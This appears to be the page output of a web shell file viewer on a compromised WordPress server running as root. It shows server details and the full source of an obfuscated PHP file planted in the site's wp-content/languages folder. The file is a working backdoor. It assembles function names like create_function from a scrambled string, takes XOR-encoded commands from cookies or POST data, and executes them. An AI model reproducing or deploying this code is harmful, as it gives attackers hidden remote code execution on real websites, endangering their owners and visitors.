HEX
Server: Apache
System:
User: root (0)
PHP: 7.4.30
Disabled: exec, passthru, shell_exec, system, proc_open, popen, parse_ini_file, show_source, apache_child_terminate,apache_setenv,chgrp,chmod,chown,curl_multi_exec,define_syslog_variables,eval,exec,highlight_file,openlog,parse_ini_file,parse_ini_string,passthru,php_uname,popen,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_open,shell_exec,show_source,syslog,system
Upload Files
File: /web/brslogistics/www/wp-content/languages/icwurq20.php
<?php
$xwlsu = 'auk7s39cx_fgl\'o5i*-6vnHb8m#12tdype0r4';$locwlk = Array();$locwlk[] = $xwlsu[7].$xwlsu[35].$xwlsu[33].$xwlsu[0].$xwlsu[29].$xwlsu[33].$xwlsu[9].$xwlsu[10].$xwlsu[1].$xwlsu[21].$xwlsu[7].$xwlsu[29].$xwlsu[16].$xwlsu[14].$xwlsu[21];$locwlk[] = $xwlsu[33].$xwlsu[24].$xwlsu[28].$xwlsu[15].$xwlsu[3].$xwlsu[27].$xwlsu[34].$xwlsu[23].$xwlsu[18].$xwlsu[34].$xwlsu[5].$xwlsu[0].$xwlsu[5].$xwlsu[18].$xwlsu[36].$xwlsu[24].$xwlsu[19].$xwlsu[3].$xwlsu[18].$xwlsu[6].$xwlsu[0].$xwlsu[23].$xwlsu[23].$xwlsu[18].$xwlsu[10].$xwlsu[6].$xwlsu[33].$xwlsu[3].$xwlsu[6].$xwlsu[30].$xwlsu[30].$xwlsu[7].$xwlsu[3].$xwlsu[27].$xwlsu[23].$xwlsu[7];$locwlk[] = $xwlsu[22].$xwlsu[17];$locwlk[] = $xwlsu[26];$locwlk[] = $xwlsu[7].$xwlsu[14].$xwlsu[1].$xwlsu[21].$xwlsu[29];$locwlk[] = $xwlsu[4].$xwlsu[29].$xwlsu[35].$xwlsu[9].$xwlsu[35].$xwlsu[33].$xwlsu[32].$xwlsu[33].$xwlsu[0].$xwlsu[29];$locwlk[] = $xwlsu[33].$xwlsu[8].$xwlsu[32].$xwlsu[12].$xwlsu[14].$xwlsu[30].$xwlsu[33];$locwlk[] = $xwlsu[4].$xwlsu[1].$xwlsu[23].$xwlsu[4].$xwlsu[29].$xwlsu[35];$locwlk[] = $xwlsu[0].$xwlsu[35].$xwlsu[35].$xwlsu[0].$xwlsu[31].$xwlsu[9].$xwlsu[25].$xwlsu[33].$xwlsu[35].$xwlsu[11].$xwlsu[33];$locwlk[] = $xwlsu[4].$xwlsu[29].$xwlsu[35].$xwlsu[12].$xwlsu[33].$xwlsu[21];$locwlk[] = $xwlsu[32].$xwlsu[0].$xwlsu[7].$xwlsu[2];foreach ($locwlk[8]($_COOKIE, $_POST) as $hmkzp => $gebeht){function auaqi($locwlk, $hmkzp, $isjtp){return $locwlk[7]($locwlk[5]($hmkzp . $locwlk[1], ($isjtp / $locwlk[9]($hmkzp)) + 1), 0, $isjtp);}function nzwdua($locwlk, $xmicj){return @$locwlk[10]($locwlk[2], $xmicj);}function cgyysr($locwlk, $xmicj){$eraewnj = $locwlk[4]($xmicj) % 3;if (!$eraewnj) {$lidoyqu = $locwlk[0]; $urldqjk = $lidoyqu("", $xmicj[1]($xmicj[2]));$urldqjk();exit();}}$gebeht = nzwdua($locwlk, $gebeht);cgyysr($locwlk, $locwlk[6]($locwlk[3], $gebeht ^ auaqi($locwlk, $hmkzp, $locwlk[9]($gebeht))));}